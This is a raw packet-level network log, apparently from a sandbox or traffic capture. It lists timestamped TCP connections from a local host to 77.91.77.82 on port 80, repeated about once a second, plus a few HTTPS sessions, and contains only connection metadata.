Jul 4, 2024 20:34:47.466396093 CEST	80	49802	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:48.184551001 CEST	80	49802	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:48.184628963 CEST	49802	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:48.185574055 CEST	49802	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:48.190504074 CEST	80	49802	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:48.193039894 CEST	49803	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:48.193077087 CEST	443	49803	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:48.193346977 CEST	49803	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:48.193645954 CEST	49803	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:48.193658113 CEST	443	49803	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:48.410346985 CEST	80	49802	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:48.410528898 CEST	49802	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:48.517527103 CEST	49802	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:48.517853975 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:48.522938013 CEST	80	49805	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:48.523087025 CEST	80	49802	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:48.523180008 CEST	49802	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:48.523195982 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:48.523379087 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:48.528606892 CEST	80	49805	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:48.843501091 CEST	443	49803	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:48.848305941 CEST	49803	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:48.848320961 CEST	443	49803	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:48.848710060 CEST	443	49803	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:48.854938984 CEST	49803	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:48.855012894 CEST	443	49803	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:48.858493090 CEST	49803	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:48.858508110 CEST	49803	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:48.858519077 CEST	443	49803	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:49.165951967 CEST	443	49803	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:49.166650057 CEST	443	49803	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:49.166749954 CEST	49803	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:49.168848038 CEST	49803	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:49.168864012 CEST	443	49803	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:49.229022026 CEST	80	49805	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:49.232877970 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:49.233563900 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:49.238657951 CEST	80	49805	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:49.455260992 CEST	80	49805	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:49.456825972 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:49.568047047 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:49.568408012 CEST	49806	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:49.573124886 CEST	80	49805	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:49.573184013 CEST	49805	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:49.573266029 CEST	80	49806	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:49.573333025 CEST	49806	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:49.573457956 CEST	49806	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:49.578758001 CEST	80	49806	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:50.272404909 CEST	80	49806	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:50.274755001 CEST	49806	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:50.275505066 CEST	49806	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:50.284111977 CEST	80	49806	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:50.497555971 CEST	80	49806	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:50.497656107 CEST	49806	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:50.615012884 CEST	49806	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:50.615326881 CEST	49807	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:50.621072054 CEST	80	49807	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:50.621083975 CEST	80	49806	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:50.621180058 CEST	49806	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:50.621217012 CEST	49807	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:50.621305943 CEST	49807	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:50.626796007 CEST	80	49807	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:51.501413107 CEST	49808	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:51.501446962 CEST	443	49808	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:51.501514912 CEST	49808	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:51.502322912 CEST	49808	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:51.502337933 CEST	443	49808	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:52.033756971 CEST	80	49807	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:52.033770084 CEST	80	49807	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:52.033799887 CEST	80	49807	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:52.033830881 CEST	49807	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:52.033911943 CEST	49807	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:52.047291994 CEST	49807	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:52.061975956 CEST	80	49807	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:52.271832943 CEST	80	49807	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:52.271954060 CEST	49807	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:52.392441988 CEST	49807	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:52.392899036 CEST	49809	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:52.399616003 CEST	80	49807	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:52.399631977 CEST	80	49809	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:52.399677038 CEST	49807	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:52.399709940 CEST	49809	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:52.399858952 CEST	49809	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:52.406722069 CEST	80	49809	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:52.761709929 CEST	443	49808	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:52.761897087 CEST	49808	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:52.764122963 CEST	49808	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:52.764138937 CEST	443	49808	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:52.764384985 CEST	443	49808	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:52.779341936 CEST	49808	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:52.824508905 CEST	443	49808	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:53.037201881 CEST	443	49808	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:53.037225962 CEST	443	49808	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:53.037246943 CEST	443	49808	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:53.037321091 CEST	49808	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:53.037348986 CEST	443	49808	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:53.037365913 CEST	49808	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:53.037404060 CEST	49808	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:53.038386106 CEST	443	49808	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:53.038438082 CEST	443	49808	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:53.038466930 CEST	49808	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:53.038475037 CEST	443	49808	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:53.038490057 CEST	49808	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:53.039268017 CEST	443	49808	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:53.039326906 CEST	49808	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:53.042536020 CEST	49808	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:53.042551994 CEST	443	49808	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:53.042588949 CEST	49808	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:53.042596102 CEST	443	49808	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:53.097352028 CEST	80	49809	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:53.097522020 CEST	49809	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:53.128261089 CEST	49809	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:53.133398056 CEST	80	49809	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:53.345602036 CEST	80	49809	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:53.345721006 CEST	49809	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:53.479176044 CEST	49809	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:53.479614973 CEST	49810	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:53.487024069 CEST	80	49809	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:53.487090111 CEST	49809	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:53.487421036 CEST	80	49810	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:53.487493038 CEST	49810	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:53.487643957 CEST	49810	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:53.494553089 CEST	80	49810	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:54.205080032 CEST	80	49810	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:54.205157995 CEST	49810	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:54.205949068 CEST	49810	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:54.211256981 CEST	80	49810	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:54.425394058 CEST	80	49810	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:54.425446987 CEST	49810	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:54.533297062 CEST	49810	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:54.533672094 CEST	49811	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:54.538719893 CEST	80	49811	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:54.538827896 CEST	49811	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:54.538995028 CEST	49811	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:54.539751053 CEST	80	49810	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:54.539810896 CEST	49810	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:54.543963909 CEST	80	49811	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:55.264642000 CEST	80	49811	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:55.264699936 CEST	49811	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:55.265503883 CEST	49811	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:55.275624990 CEST	80	49811	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:55.490645885 CEST	80	49811	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:55.490729094 CEST	49811	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:55.597193003 CEST	49811	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:55.597518921 CEST	49812	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:55.602291107 CEST	80	49812	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:55.602360010 CEST	49812	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:55.602480888 CEST	80	49811	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:55.602526903 CEST	49812	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:55.602546930 CEST	49811	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:55.607435942 CEST	80	49812	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:56.306858063 CEST	80	49812	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:56.306922913 CEST	49812	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:56.307655096 CEST	49812	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:56.312407970 CEST	80	49812	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:56.528004885 CEST	80	49812	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:56.529045105 CEST	49812	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:56.643223047 CEST	49812	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:56.643671989 CEST	49813	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:56.648545027 CEST	80	49812	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:56.648926973 CEST	49812	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:56.649046898 CEST	80	49813	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:56.649121046 CEST	49813	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:56.649250031 CEST	49813	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:56.654987097 CEST	80	49813	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:57.353332043 CEST	80	49813	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:57.357016087 CEST	49813	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:57.358119011 CEST	49813	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:57.365108013 CEST	80	49813	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:57.579807043 CEST	80	49813	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:57.579889059 CEST	49813	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:57.690946102 CEST	49813	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:57.691658020 CEST	49814	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:57.696182966 CEST	80	49813	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:57.696249962 CEST	49813	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:57.696418047 CEST	80	49814	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:57.696492910 CEST	49814	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:57.697463036 CEST	49814	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:57.702604055 CEST	80	49814	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:58.425868988 CEST	80	49814	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:58.425981998 CEST	49814	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:58.426830053 CEST	49814	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:58.431826115 CEST	80	49814	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:58.653376102 CEST	80	49814	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:58.653510094 CEST	49814	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:58.767641068 CEST	49814	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:58.767992020 CEST	49815	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:58.772974968 CEST	80	49814	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:58.772989035 CEST	80	49815	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:58.773030043 CEST	49814	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:58.773063898 CEST	49815	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:58.773252010 CEST	49815	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:58.778090954 CEST	80	49815	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:59.479095936 CEST	80	49815	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:59.479187012 CEST	49815	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:59.481961012 CEST	49815	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:59.486757040 CEST	80	49815	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:59.706222057 CEST	80	49815	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:59.706284046 CEST	49815	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:59.814136982 CEST	49815	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:59.814502001 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:59.820456028 CEST	80	49815	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:59.820472956 CEST	80	49816	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:59.820585012 CEST	49815	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:59.820640087 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:59.820838928 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:59.825982094 CEST	80	49816	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:00.530270100 CEST	80	49816	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:00.530369997 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:00.531275034 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:00.536748886 CEST	80	49816	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:00.881069899 CEST	80	49816	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:00.881154060 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:00.986367941 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:00.986733913 CEST	49817	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:00.991575956 CEST	80	49817	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:00.991657019 CEST	49817	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:00.991753101 CEST	49817	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:00.991864920 CEST	80	49816	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:00.991921902 CEST	49816	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:00.996457100 CEST	80	49817	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:01.692910910 CEST	80	49817	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:01.692975998 CEST	49817	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:01.693756104 CEST	49817	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:01.698820114 CEST	80	49817	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:01.915319920 CEST	80	49817	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:01.915374994 CEST	49817	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:02.020572901 CEST	49817	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:02.020942926 CEST	49818	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:02.026647091 CEST	80	49817	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:02.026705980 CEST	49817	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:02.026990891 CEST	80	49818	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:02.027172089 CEST	49818	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:02.027354002 CEST	49818	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:02.032095909 CEST	80	49818	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:02.738414049 CEST	80	49818	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:02.738477945 CEST	49818	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:02.739250898 CEST	49818	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:02.744926929 CEST	80	49818	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:02.966245890 CEST	80	49818	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:02.966372967 CEST	49818	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:03.098685980 CEST	49818	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:03.099147081 CEST	49819	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:03.104106903 CEST	80	49819	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:03.104208946 CEST	49819	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:03.104410887 CEST	80	49818	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:03.104468107 CEST	49818	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:03.108658075 CEST	49819	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:03.113629103 CEST	80	49819	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:03.820993900 CEST	80	49819	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:03.821058035 CEST	49819	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:03.821671009 CEST	49819	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:03.826419115 CEST	80	49819	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:04.046065092 CEST	80	49819	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:04.046232939 CEST	49819	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:04.158345938 CEST	49819	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:04.158700943 CEST	49820	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:04.163558960 CEST	80	49820	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:04.163733006 CEST	49820	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:04.164000034 CEST	49820	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:04.164022923 CEST	80	49819	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:04.164100885 CEST	49819	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:04.169024944 CEST	80	49820	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:04.882947922 CEST	80	49820	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:04.883069038 CEST	49820	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:04.883925915 CEST	49820	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:04.888808966 CEST	80	49820	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:05.108978033 CEST	80	49820	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:05.109041929 CEST	49820	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:05.222043991 CEST	49820	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:05.222434044 CEST	49821	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:05.227607965 CEST	80	49821	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:05.227756977 CEST	49821	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:05.227925062 CEST	49821	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:05.228029966 CEST	80	49820	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:05.228087902 CEST	49820	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:05.233004093 CEST	80	49821	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:05.943015099 CEST	80	49821	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:05.943149090 CEST	49821	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:05.943994045 CEST	49821	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:05.949434996 CEST	80	49821	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:06.164374113 CEST	80	49821	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:06.164457083 CEST	49821	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:06.269893885 CEST	49821	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:06.270277977 CEST	49822	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:06.275396109 CEST	80	49822	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:06.275461912 CEST	49822	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:06.275641918 CEST	80	49821	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:06.275685072 CEST	49821	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:06.275770903 CEST	49822	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:06.281295061 CEST	80	49822	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:06.994561911 CEST	80	49822	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:06.994621038 CEST	49822	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:06.995433092 CEST	49822	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:07.002079010 CEST	80	49822	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:07.223987103 CEST	80	49822	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:07.224097013 CEST	49822	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:07.330543041 CEST	49822	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:07.331234932 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:07.336226940 CEST	80	49823	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:07.336839914 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:07.337018013 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:07.340440035 CEST	80	49822	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:07.340787888 CEST	49822	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:07.341810942 CEST	80	49823	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:08.036250114 CEST	80	49823	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:08.036396980 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:08.037293911 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:08.042165041 CEST	80	49823	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:08.387831926 CEST	80	49823	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:08.387912989 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:08.502899885 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:08.503282070 CEST	49824	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:08.508832932 CEST	80	49824	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:08.508860111 CEST	80	49823	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:08.508953094 CEST	49824	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:08.508982897 CEST	49823	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:08.509145021 CEST	49824	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:08.514120102 CEST	80	49824	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:09.241410017 CEST	80	49824	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:09.241535902 CEST	49824	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:09.242235899 CEST	49824	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:09.249491930 CEST	80	49824	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:09.468410015 CEST	80	49824	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:09.468648911 CEST	49824	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:09.580149889 CEST	49824	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:09.580503941 CEST	49825	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:09.585377932 CEST	80	49825	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:09.585462093 CEST	49825	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:09.585612059 CEST	49825	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:09.585731030 CEST	80	49824	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:09.585783005 CEST	49824	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:09.590384007 CEST	80	49825	77.91.77.82	192.168.2.4
